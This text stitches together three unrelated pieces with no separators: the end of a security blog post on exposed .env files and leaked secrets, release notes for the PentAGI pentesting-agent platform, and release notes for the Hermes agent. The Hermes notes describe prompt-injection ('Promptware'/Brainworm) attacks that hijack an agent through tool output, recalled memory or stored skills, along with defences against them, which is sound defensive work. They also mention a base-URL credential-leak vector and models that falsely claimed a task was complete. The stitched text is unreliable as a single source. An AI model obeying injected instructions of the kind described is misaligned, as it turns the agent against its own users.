• Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production
• Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files

The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.

References

• Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files
• Security Affairs — 12 Million Exposed .env Files
• Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub
• Sentry Security Blog — Abusing Exposed Sourcemaps
• Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs
• OWASP — Review Web Page Content for Information Leakage
• GitHub Dorking — techgaun/github-dorks
• Invicti — Dotenv .env File Vulnerability
• Vibe Eval 2026 — Frontend Secrets Leak Report

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Major Features

User Resources & Flow Files

A new file management layer lets users bring their own files into PentAGI and share them with agents.

• User Resources — a persistent, per-user file library with MD5-deduplicated storage and a virtual path filesystem. Full REST and GraphQL CRUD (upload, mkdir, move, copy, delete, download), real-time subscriptions, and atomic multi-source / multi-path batch operations.
• Flow files — per-flow workspace files that sync into worker containers at /work/uploads and /work/resources. Files can be pulled back out of a running container and promoted into the user library. Attached files are injected into agent system prompts as a structured <task_files> block, so the assistant is aware of what the user provided.
• File Manager UI — a reusable tree component with multi-select, keyboard navigation, drag-and-drop, sortable columns, bulk actions, and an overwrite workflow. Used by both the new /resources page and the flow Files tab.
• Limits and hardening — enforced on both ends: 300 MB per file, 1000 files per request, 2 GB total, 255-byte names. Upload paths are protected against directory traversal and symlink escapes.

Knowledge Base Management

The pgvector memory store is now a first-class, user-manageable resource rather than agent-only auto-storage.

• GraphQL/REST CRUD plus semantic search over the knowledge store, with admin/user scoping, per-user document ownership, re-embedding on update, and real-time subscriptions.
• A new /knowledges interface with list and detail pages, a TipTap markdown editor, partial updates, inline rename/delete, and a collapsible semantic-search input (hotkey-accessible).
• Text anonymization — a new anonymizeText service (GraphQL/REST) to scrub sensitive data, surfaced directly in the knowledge editor.
• The vector search engine was rewritten onto direct, parameterized SQL queries — fixing a bug where document IDs were dropped and removing unsafe SQL string interpolation.

ToolCall Observability

Individual agent tool calls are now logged through a dedicated provider and exposed via GraphQL queries and subscriptions plus a REST API, giving real-time, inspectable visibility into every command, search, and action an agent performs during a flow.

Assistant Flow Management

The interactive assistant can now observe and steer active flows without leaving the chat. New tools let the assistant read flow status (with multiple detail levels), stop a flow, submit input to a waiting flow, patch subtasks, and block until a task completes. A summarizer cache avoids redundant LLM calls when reporting flow state.

Unified Agent Language Policy

A single, consistent language policy now spans all agent prompts: vector-store and search-engine queries are forced to English for retrieval consistency, while user-facing messages follow the engagement language. Template variables and tool access were aligned with each agent's actual runtime tool set.

New Capabilities

Updated Provider Configurations & Models

Built-in model configurations were refreshed across multiple providers — OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM — to match the current model landscape, with updated model lists, pricing, and context windows.

• Per-role thinking control — reasoning models such as DeepSeek and Qwen now toggle thinking mode per agent role, so utility roles run without thinking (and honor their sampling parameters) while reasoning, tool-use, and security-analysis roles keep it enabled.
• New reference configurations — vLLM Qwen 3.6 (thinking and non-thinking, including 35B FP8 variants) bundled in the Docker image, and an Azure OpenAI example.
• Ollama now surfaces a clear, actionable error when the selected model does not support tool/function calling, instead of a deeply nested stack trace.

Per-Model Analytics

A new query surfaces token usage broken down by model and agent type within a single flow, integrated into the flow dashboard.

Configuration

• TERMINAL_TOOL_TIMEOUT — configurable terminal command timeout (default raised to 1200 seconds, with clamping for out-of-range values).
• PostgreSQL connection pooling — shared pools for sqlc, GORM, and pgvector with new tunables DB_MAX_OPEN_CONNS, DB_MAX_IDLE_CONNS, and DB_VECTOR_MAX_CONNS.
• EMBEDDING_MAX_TEXT_BYTES — caps the text size sent to the embedding model.
• The Settings API now exposes version and isDevelopMode.

Frontend Modernization

A broad pass touched nearly every list and detail page.

• Unified list tables — URL-synced filtering, pagination, sorting, and column visibility, with multi-column search ("Search in" column picker) and contextual empty states.
• Detail navigation — Prev/Position/Next navigation between sibling records, with an in-sheet searchable list.
• Inline actions — rename, finish, and delete directly from flow, template, and knowledge headers and list rows.
• Per-route document titles — browser tabs now reflect the actual page (including live flow titles), driven by a centralized title registry.
• Mobile UX — responsive headers that collapse to icon-only buttons, a unified flow attachment/template picker, and a compact dashboard period switcher.
• Performance — dashboard period-switch interaction latency reduced from 434 ms to 134 ms, the PDF renderer is lazy-loaded (cutting the report route's initial JS by ~1.5 MB), the knowledge provider is scoped to its own routes (avoiding a ~2.1 MB payload on every page), filtering is debounced, and rename/favorite actions update optimistically for instant feedback.
• Platform upgrades — React 19, Apollo Client v4, Vite 8 (Rolldown), TypeScript 6, Zod v4, the graphql-codegen v6/v7 toolchain, and the shadcn new-york-v4 component style. The frontend test suite grew from 475 to 541 tests.
• Accessibility — aria-labels across icon-only buttons, form-field id/name fixes, and Radix dialog compliance.

Bug Fixes & Reliability

Flow & Agent Execution

• Task cancellation — subtask generation now runs under a cancellable context, so cancelling a task no longer reports a false success.
• Custom prompts — user prompt overrides saved in Settings → Prompts are now actually applied to new assistant and flow sessions (they were silently using the defaults).
• Malformed tool-call JSON — truncated or invalid LLM arguments now fall back to an empty object instead of triggering LiteLLM 400 errors and infinite retry loops; literal control characters in arguments are sanitized before storage.
• Subscription backpressure — events are dropped for slow or disconnected subscribers after a timeout, preventing goroutine accumulation.
• Deadlock fixes — resolved a deadlock in the log worker and a nil-channel deadlock when finishing an assistant session.
• Browser tool — small/empty page content now returns a warning rather than an error, binary URLs are reported clearly, and a failed screenshot no longer discards successfully fetched page content.

Knowledge & Data

• Vector search safety hardened (parameterized queries, memory documents excluded at the SQL level).
• Fixed recursive resource retrieval over GraphQL, and resource move/copy responses now return the correct entries for client cache consistency.

Frontend

• Fixed a production crash on flow detail pages caused by the minifier stripping function names from document-title components.
• Eliminated several table state races (filter clearing, pagination URL loops, batched URL updates) and a GraphQL codegen issue that emitted duplicate types and broke the dev server.
• API token names are no longer lost when a subscription refetches the table mid-edit; the default button type no longer triggers accidental form submits.

Security

• Flow file uploads are hardened against path traversal and symlink escapes, with size and count limits enforced on both the backend and the frontend.
• Knowledge vector search uses parameterized queries, removing prior string-interpolated SQL.
• New endpoints enforce user/admin privilege scoping, with dedicated privileges (anonymize.call, toolcall access) added via migration.
• Text anonymization is available to scrub sensitive data from stored knowledge.

Documentation

Extensive user-facing documentation was added, including a first-use guide, a pentesting prompt methodology guide, memory lifecycle across flows, capability boundaries, OAuth callback setup, a Docker mirror guide for restricted networks, OSINT integration scenarios, the flow Files tab, DeepSeek V4 migration and pricing, and a clarification that Vertex AI is reachable today only via an OpenAI-compatible gateway. Two design RFCs — flow concurrency with completion webhooks, and MCP client integration — were added under examples/proposals/ as design proposals with no runtime code yet.

Upgrade Notes

• DeepSeek: deployments using the legacy deepseek-chat / deepseek-reasoner model names should migrate to deepseek-v4-flash / deepseek-v4-pro before the upstream deprecation on 2026-07-24.
• Database: connection-pool settings were consolidated to DB_MAX_OPEN_CONNS, DB_MAX_IDLE_CONNS, and DB_VECTOR_MAX_CONNS — verify against .env.example.
• Terminal timeout: TERMINAL_TOOL_TIMEOUT default raised from 600 to 1200 seconds; review if a lower value was intentional.
• Frontend development now requires pnpm (previously npm).
• Database migrations apply automatically at startup. After pulling, rebuild and restart: docker compose build && docker compose up -d.

Contributors

Core Team

• @asdek (Dmitry Nagibin) — User resources & flow files backend, knowledge base API and vector search, ToolCall logging, anonymizer, assistant flow management tools, agent language policy, provider model updates, database connection pooling, and flow reliability fixes
• @sirozha (Sergey Kozyrenko) — File Manager component, resources/knowledges/flow-files UI, unified list tables and multi-column search, detail navigation, document titles, mobile UX, frontend platform upgrade (React 19 / Apollo v4 / Vite 8), and performance & accessibility work

External Contributors

• @mason5052 — Custom prompts fix, Ollama tool-support error clarity, DeepSeek V4 migration, flow file upload hardening, and extensive documentation and design RFCs (flow concurrency, MCP client integration, evidence chain)
• @Kairos-T — Documentation mermaid syntax fix (PR#259)

Full Changelog: v2.0.0...v2.1.0

Release Date: May 28, 2026
Since v0.14.0: 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)

The Velocity Release. Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line run_agent.py collapses to 3,821 (-76%) across 14 cohesive agent/* modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, hermes --version flipping the head-to-head benchmark against Codex CLI. session_search is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth hermes proxy upstream, retired-May-15 model detection + hermes migrate xai, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.

✨ Highlights

• The Big Refactor — run_agent.py is no longer 16,000 lines — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under agent/. Behavior is unchanged: every extraction keeps a thin forwarder on AIAgent, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. (#27248)

• Kanban grew into a real multi-agent platform — 104 PRs end to end — Triage auto-decomposes one task into a tree of sub-tasks. hermes kanban swarm creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through /workers/active, /runs/{id}, and /inspect endpoints. (#27572, #28443, #28364, #28394, #28462, #28384, #28467, #28455, #28452, #28432, #28468, #28420)

• Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls — Three new optimization rounds: defer openai._base_client import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. hermes --version cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. (#28864, #28866, #28957, #29006, #29419, #30121, #30609, #31968)

• session_search rebuilt — no LLM, no cost, 4,500× faster — The old session_search was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no mode parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. (#27590)

• Promptware defense — Brainworm-class attacks blocked at three chokepoints — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (tools/threat_patterns.py) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new security-guidance plugin that pattern-matches dangerous code writes. (#32269, #33131, #9151)

• Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key — Stop keeping plaintext API keys in ~/.hermes/.env. Install Bitwarden Secrets Manager (bws auto-installs lazily on first use), point Hermes at it with one bootstrap token (BWS_ACCESS_TOKEN), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip secrets.bitwarden.override_existing: false to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. (#30035, #31378, #30364)

• ntfy as the 23rd messaging platform — push notifications without an account — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat send_message — to your phone, your watch, your desktop, your homelab. (salvages #30625 → originally #4043) (#30867)

• Skill bundles — /<name> loads multiple skills at once — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and /writing-day activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: code-wiki (Karpathy's LLM-Wiki, persistent indexed dev wiki), openhands (delegate to OpenHands for parallel coding agents), and web-pentest (OWASP-style web pentest recipes). (#28373, #32345, #32240, #32261, #32265)

• TUI session orchestrator — multiple live sessions in one TUI window — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages #27642) (#32980, #30084)

• Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin — Krea joins the image_gen lineup as a built-in plugin: Krea 2 Medium ($0.03) and Krea 2 Large ($0.06), auto-discovered, selectable via hermes tools → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into plugins/image_gen/fal/, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. (#33236, #30380, #33506)

• Nous-approved MCP catalog with interactive picker — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run hermes mcp and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to ~/.hermes/.env. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. (#30870)

• OpenHands orchestration skill — A new optional skill under optional-skills/autonomous-ai-agents/openhands/ lets the agent delegate coding tasks to the OpenHands CLI alongside claude-code, codex, and opencode. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and /delegate flows. (closes #477) (#32261)

• Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening — Six interlocking xAI improvements:

  • xAI Web Search lands as a plugins/web/xai/ provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or XAI_API_KEY credentials, no new env vars. (#29042)
  • hermes proxy gains an xAI upstream — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. (#28356)
  • May 15 model retirement detection — grok-4, grok-4-fast{,-reasoning,-non-reasoning}, grok-3, grok-code-fast-1, grok-imagine-image-pro etc. are detected in doctor and chat startup, with hermes migrate xai to one-shot config migration to the supported model. No more silent 404s after the retirement date. (#29277)
  • Opt-in auto_speech_tags for xAI TTS — inserts light [pause] tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. (#29376)
  • xai-oauth base_url pinned to x.ai origin — closes a silent credential-leak vector where XAI_BASE_URL could repoint OAuth-authenticated inference to an attacker-controlled host. (#28952)
  • OpenAI-style execution guidance applied to Grok models — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. (#27797)
  • Plus x_search degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE code_challenge round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and WKE=unauthenticated honor at both classifier sites. (#29484, #28351, #27560, #28116, #30619, #30872)

🏗️ Core Agent & Architecture

The Big Refactor — run_agent.py 16k → 3.8k

• run_agent.py from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive agent/* modules. run_conversation alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on AIAgent, every test-patch path is preserved, every external caller stays compatible. (#27248)

Agent loop & conversation

• Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages #26811 + #26998) (#27625)
• Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). (#33816)
• Host contract for external context engines — condenses 5 prior PRs into one extension surface. (#33750)
• Fallback immediately on provider content-policy blocks. (#33883)
• Re-pad reasoning_content on cross-provider fallback to require-side providers. (salvage #33784) (#33795)
• Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. (#32273)
• Single-knob native vision for custom-provider models. (#29679)
• Background review fork isolated from external memory plugins. (#27190)
• Background review inherits parent toolset config for tools[] cache parity. (#29704)
• Recover from providers returning list-type tool content. (#30259)
• Treat partial-stream stub responses as length truncation rather than clean stop. (#30998)
• OpenAI execution guidance applied to xAI Grok / xai-oauth. (#27797)
• ContextVars propagate to concurrent tool worker threads.
• Preload jiter native parser. (#33692)
• Expose context engine tools with saved toolsets. (salvage of #31194) (#33719)

Sessions & memory

• session_search rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. (#27590)
• Salvage #29182 — opt-in JSON snapshot writer for sessions. (#29278)
• Persist platform_message_id for recall across gateway restarts. (#29449)
• Inline memory-context mentions stay visible in conversation. (#28132)
• Recalled memory labeled informational, not authoritative. (#28583)
• Memory + context-engine tool injection gated on enabled_toolsets. (#30177)
• Guard against external drift in MEMORY.md / USER.md. (#30877)
• Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. (#30077)
• Periodic memory logging for leak detection. (salvage of #17667) (#27102)

Codex / Responses-API maturation

• TTFB watchdog for stalled Codex Responses streams. (#32042)
• Actionable hint when stale-call detector fires on known silent-reject pattern. (#32016, #33133)
• Drop SDK responses.stream() helper; consume events directly. (#33042)
• Gracefully recover from invalid_encrypted_content. (salvage of #10144) (#33035)
• Recover Codex Responses streams with null output. (#32963, #33390)
• Drop foreign-issuer reasoning and transient rs_tmp reasoning replay state. (#33156, #33146)
• Codex 429 quota classified as rate-limit, not missing credentials. (#33168)
• Codex chat path falls back to credential_pool when singleton is empty. (#33189)
• Codex re-auth syncs credential_pool. (#33164)
• Omit tools key when no tools registered. (#33409)
• Parse Codex image-generation SSE directly. (#32933)

🎛️ Kanban — Multi-Agent Maturation Wave

Orchestration & dispatch

• Orchestrator-driven auto-decomposition on triage. (#27572)
• Kanban swarm topology helper — hermes kanban swarm creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages #26791 by @Niraven) (#28443)
• Dispatcher wires review agents from the review column. (#28449)
• Stale-detection for running tasks in dispatcher. (#28452)
• Respawn guard blocks repeat worker storms. (#28455)
• Respawn guard defers blocker_auth instead of auto-blocking. (#28683)
• Cross-profile cron jobs surface in dashboard. (#28457)
• Worker visibility endpoints: /workers/active, /runs/{id}, /inspect. (salvages #23761 by @Interstellar-code) (#28432)

Task configuration & scheduling

• Per-task model override. (#28364)
• Board-level default workdir. (#28394)
• Configurable worktree paths and branches. (#28462)
• Scheduled task start times. (#28384)
• Scheduled status for delayed follow-ups. (#28467)
• Trimmed task comments. (#28399)
• Initial-status for human-ops cards. (#28414)
• max_in_progress config to cap concurrent running tasks. (#28420)
• Filter tasks by workflow fields. (#28454)
• --sort for hermes kanban list. (#28427)
• Optional board parameter on all MCP tools. (#28444)
• Stamp originating ACP session_id on tasks. (#28447)
• auto_promote_children config toggle. (#28344)
• archive --rm to hard-delete archived tasks. (#28355)
• Promote dependents when parent is archived. (#28372)
• Promote blocked tasks when parent dependencies complete. (#28377)
• Demote ready children when parent is reopened. (#28382)
• promote verb for manual todo→ready recovery + bulk --ids. (salvage #29464) (#31334)

Dashboard

• Drag-to-delete trash zone + bulk delete. (#28468)
• Surface per-task model_override in show + tool output. (#28442)
• Cross-profile notification delivery via kanban.notification_sources. (#28395)
• Scratch-workspace deletion warning for users. (#30949)
• Mobile dashboard UX polish. (#28127)

Reliability

• Worker log retention configurable. (#27867)
• Configurable claim TTL. (#28392)
• Fingerprint crash errors to prevent fleet-wide retry exhaustion. (#28380)
• Reset failure counters on unblock_task. (#28379)
• Detect cycles in decompose_triage_task sibling-link pre-validation. (#28088)
• Surface unusable triage auxiliary model (auto-decompose aware). (#27871)
• Align failure diagnostics with retry limit. (#27868)
• Align worker terminal timeout with task runtime. (#27864)
• Auto-install bundled skills (kanban-worker) on init. (#28368)
• Make legacy task migration idempotent. (#28397)
• Serialize DB initialization. (#28383)
• Persist worker session metadata on completion. (#28387)
• Pass accept-hooks to worker chat subprocess. (#28393)
• Preserve worker tools with restricted toolsets. (#28396)
• Avoid unsafe Windows worker Hermes shim resolution. (#28398)
• Sync slash subcommands with live parser. (#28376)
• Show scheduled kanban tasks in dashboard. (#28400)
• Assign single-task kanban decompositions. (#28401)
• Configurable max_tokens for kanban specify. (#28374)
• Per-job profile support for cron. (#28124)
• Codex app-server: include every Kanban-pinned path in writable_roots. (#28435)
• Cache kanban worker guidance at session init for prompt-cache reuse. (#28425)

⚡ Performance

• openai._base_client import deferred — 240ms / 17MB off every CLI cold start. (#28864)
• Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). (#28866)
• Compression-feasibility check deferred — 170-290ms off every agent construction. (#28957)
• Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. (#29006)
• Termux TUI cold start speedup. (#29419)
• Termux non-TUI cold start speedup. (salvage #29438) (#30121)
• Termux fast-path version + deferred bare-prompt agent startup. (#30609)
• Cut hermes --version wall time 63% — flips head-to-head vs Codex CLI. (#31968)
• Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. (#27675)
• Cache kanban worker guidance at session init for prompt-cache reuse. (#28425)

🔧 Tool System

Tool surface

• patch: indent preservation, CRLF preservation, per-file failure escalation. (#32273)
• terminal: warn at call time when background=true runs silently. (#31289)
• terminal: nudge homebrewed CI pollers at the tool surface. (#33142)
• x_search: surface degraded results + validate dates. (#29484)
• x_search: auto-enable toolset when xAI credentials are configured. (#27376)
• computer_use: route SOM/vision captures via auxiliary.vision. (#30126)
• transcription: reject symlinked audio inputs. (#10082)
• TTS: prevent double [pause] in xAI auto speech tags. (#32237)
• TTS: preserve native audio outside Telegram voice delivery. (#28512)
• TTS: opt-in xAI auto_speech_tags speech-tag pauses for natural voice replies. (#29376)
• Voice: chunk oversized CLI recordings. (#30044)
• Voice: honor PULSE_SERVER / PIPEWIRE_REMOTE inside Docker. (#22534)

Browser

• All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages #25580) (#27403)
• Auto-launch Chromium-family browser for CDP. (#29106)
• Docker: discover agent-browser Chromium binary at boot. (#33184)

Image generation

• Krea provider plugin (Krea 2 Medium + Large). (#33236)
• FAL backend ported to plugins/image_gen/fal. (salvage #27966) (#30380)
• Cache xAI ephemeral URL responses to disk. (#31759)

Web search

• xAI Web Search as a provider plugin. (#29042)

MCP

• Nous-approved MCP catalog with interactive picker. (#30870)
• TLS client certificate (mTLS) support for HTTP and SSE MCP servers. (#33721)
• Stdin paste-back fallback for headless OAuth flow. (#32053)
• skip at paste prompt bypasses auth without disabling server. (#32069)
• Registry-aware mcp_ prefix on both ends of round-trip. (#31700)

🧩 Skills Ecosystem

Skills system

• Skill bundles — /<name> loads multiple skills. (#28373)
• Skills Hub: health checks, freshness badge, and a watchdog cron. (#32345)
• Opt-in AST deep diagnostics on skill writes. (salvage of #30918) (#31198)
• Bundled/pinned skill protection in background-review prompts. (#28338)
• Show user-modified skill names in bundled skill sync summary. (#28671)
• Load symlinked skill slash commands. (#27759)
• Deduplicate Skills Hub search results by identifier, not name. (#29490)

New skills

• openhands — delegate-to-OpenHands orchestration skill (closes #477) (#32261)
• code-wiki — persistent indexed dev wiki (closes #486) (#32240)
• web-pentest — OWASP recipes (closes #400) (#32265)
• baoyu-article-illustrator (#28287)

☁️ Providers

xAI deep integration

• xAI Web Search as a plugins/web/xai/ provider plugin. (#29042)
• hermes proxy xAI upstream — OpenAI-compatible local proxy backed by xai-oauth. (#28356)
• May 15 model retirement detection + hermes migrate xai for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. (#29277)
• Opt-in auto_speech_tags for natural xAI TTS voice replies. (#29376)
• xai-oauth base_url pinned to x.ai origin — closes silent credential-leak vector. (#28952)
• OpenAI-style execution guidance applied to Grok / xai-oauth models. (#27797)
• xAI: detect retired May 15 models in doctor/chat startup. (#29277)
• xAI: resolve Grok Build context for OAuth. (#30579)
• xAI OAuth: tier-gated 403 with API-key fallback. (#28351)
• xAI OAuth: PKCE code_challenge echo. (#27560)
• xAI OAuth: quarantine dead tokens on terminal refresh failure. (#28116)
• xAI OAuth: honor WKE=unauthenticated disambiguator at both classifier sites. (#30872)
• xAI OAuth: accept bare-code manual paste (state=None). (closes #26923) (#33880)
• xAI OAuth: fall back to manual paste on loopback timeout. (#33231)
• xAI proxy: handle 429 rate-limit responses in proxy retry path. (#33743)

Other providers

• OpenAI API as a first-class provider (distinct from Codex runtime). (#31898)
• Microsoft Entra ID auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages #27509, #27022) (#28101, #28084)
• OpenRouter sticky routing — session_id passed via extra_body so a long-running session keeps landing on the same upstream provider. (@Cybourgeoisie) (#33939)
• Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (@rewbs) (#27663)
• Nous Portal: one-shot setup, status CLI, and Nous-included markers. (#30860)
• Anthropic adapter: extract 7 helpers from convert_messages_to_anthropic. (salvage #27784) (#30386)
• Catalog: add qwen3.7-max to Alibaba + Alibaba-Coding-Plan model lists. (#33129)
• opencode-go: route qwen3.7-max via anthropic_messages. (@beardthelion) (#32780)
• opencode-go: expose Kimi K2 + DeepSeek reasoning controls. (#30845)
• Remove Vercel AI Gateway and Vercel Sandbox.
• MiniMax OAuth: refresh short-lived access tokens per request. (#30619)
• Codex OAuth: quarantine terminal refresh errors. (#28118)
• Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. (#33424)
• Codex: sync manual:device_code pool entries on re-auth. (#33744)
• MiniMax OAuth: quarantine terminal refresh errors. (#28119)

🔑 Secrets

• Bitwarden Secrets Manager integration with lazy bws install. (#30035)
• Bitwarden: EU Cloud + self-hosted server URL support. (#31378)
• Label detected credentials with their source (Bitwarden). (#30364)

📱 Messaging Platforms (Gateway)

Gateway core

• Deliverable mode — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). (#27813)
• hermes send — pipe any script's output to any messaging platform. (salvage of #19631) (#27188)
• Debounce queued text follow-ups during active sessions. (salvage of #31235) (#31341)
• Plugin-transformed final_response delivered through streaming gate. (#31433)
• Refresh cached agent tools on /reload-mcp. (#32815)
• Harden kanban + provider cleanup races on long-running workloads. (#29479)

New / reorganized adapters

• ntfy — 23rd platform, push notifications, plugin shape, zero core edits. (salvages #30625 → #4043) (#30867)
• Discord adapter migrated to bundled plugin. (salvage of #24356) (#30591)
• Mattermost adapter migrated to bundled plugin. (salvage of #30916) (#31748)

Telegram

• Edit status messages in place instead of appending. (based on #30141 by @qike-ms) (#30864)
• Skip-STT audio path + 2GB cap via local Bot API server. (#28541)
• Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. (#28519)
• Route audio file attachments away from STT pipeline. (#28478)
• disable_topic_auto_rename gateway flag. (#28523)
• ignore_root_dm config to drop messages without thread_id. (#28536)
• Chat-scoped auth without sender user_id. (#28525)
• Fail-closed auth fallback when TELEGRAM_ALLOWED_USERS is empty. (#28494)
• Roll over tool progress bubbles + scope audio_file_paths. (#28482)
• Avoid duplicate text after auto-TTS voice replies. (#28509)
• Mark final voice reply notify-worthy so Telegram delivers it audibly. (#28504)

Discord

• Recover Windows voice opus decoding. (#33182)
• allow_any_attachment config to accept arbitrary file types. (#27245)
• Transcribe native voice notes. (#28993)
• Define UI view classes after lazy install. (#28817)

Signal / Matrix / Feishu / Slack / WeCom

• Signal: require_mention filter for group chats. (#28574)
• Matrix: warn on clock-skew silent message drops. (#27330)
• Matrix E2EE installs full dep set; plugins respect is_connected. (#31688)
• Feishu: require webhook auth secret + honor config extras. (#30746)
• Feishu: enforce auth and chat binding for approval buttons. (#30744)
• Slack: socket recovery + Windows restart dedupe. (#28873)
• WeCom: safe-parse untrusted XML. (#32442)

DingTalk / Webhooks / Microsoft Graph

• DingTalk: transcribe native voice notes. (#28993)
• Webhook: enforce INSECURE_NO_AUTH safety rail on dynamic route reloads. (#30863)
• Webhook: restrict default toolset capabilities. (#30745)
